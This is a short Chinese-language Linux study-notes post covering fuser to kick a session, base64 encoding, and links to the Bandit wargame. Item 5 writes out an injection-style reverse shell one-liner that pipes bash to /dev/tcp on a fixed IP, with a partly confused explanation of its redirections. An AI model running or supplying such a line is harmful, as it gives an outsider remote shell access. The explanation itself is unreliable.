[IT学习]Linux 学习笔记

时间:2020-12-10 15:36:08

1、踢掉用户

# who
 15:23:13 up 26 days,  1:44,  2 users,  load average: 0.00, 0.05, 0.03
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    192.168.1.3      15:12   11:05   0.02s  0.02s -bash
root     pts/1    192.168.4.17     09:49    0.00s  0.09s  0.00s w
# fuser -k /dev/pts/0
/dev/pts/0:          20359
# who
 15:23:23 up 26 days,  1:44,  1 user,  load average: 0.22, 0.10, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/1    192.168.4.17     09:49    0.00s  0.09s  0.00s w
可以看到他的连接已经被踢掉。

2、base64转码 (转贴http://chen.junchang.blog.163.com/blog/static/634451920133117640873/)

当你直接输入 base64 ,然后你可以继续输入要编码的字符,回车,并不能结束。如何结束呢?
1. 回车 ,然后 Ctrl+D
2. 连续两下 Ctrl+D

注意到上面这两种方式编码出来的结果不一致。
精确的结果应该是第2种。而第一种事实上把回车键 "/n" 也参与了编码,从而导致结果的不一致。

同样的,如果你要解码,那就输入 base64 -d 吧。

另外,还可以这样:
echo "some string" | base64    // 末尾的换行符也参与了编码
echo -n "some string" | base64  // 末尾的换行符不参与编码,精确的方式
echo "c29tZSBzdHJpbmc=" | base64 -d
echo -n “c29tZSBzdHJpbmc=” | base64 -d

 试一下 echo -n "RkxBRzpJUONDVEVTVHBhcw==" |base64 -d

3、bandit linux游戏

http://overthewire.org/wargames/bandit/

4、介绍linux游戏通关秘籍

http://or7.me/2017/11/17/WarGame_Bandit/#more

5、;/bin/bash –i > /dev/tcp/172.16.1.52/80|0<&1 2>&1

其中的|是管道,0代表标准输入,1代表标准输出,2代表标准错误信息输出。

0<&1 2>&1

我理解就是,0输入到管道前面的命令参数,也就是/dev/tc/172.16.1.52/80

2则输出到管道前面的命令参数。

 

6、参考书籍

1)Linux就该这么学

2)阿铭linux

3)linux就是这个范儿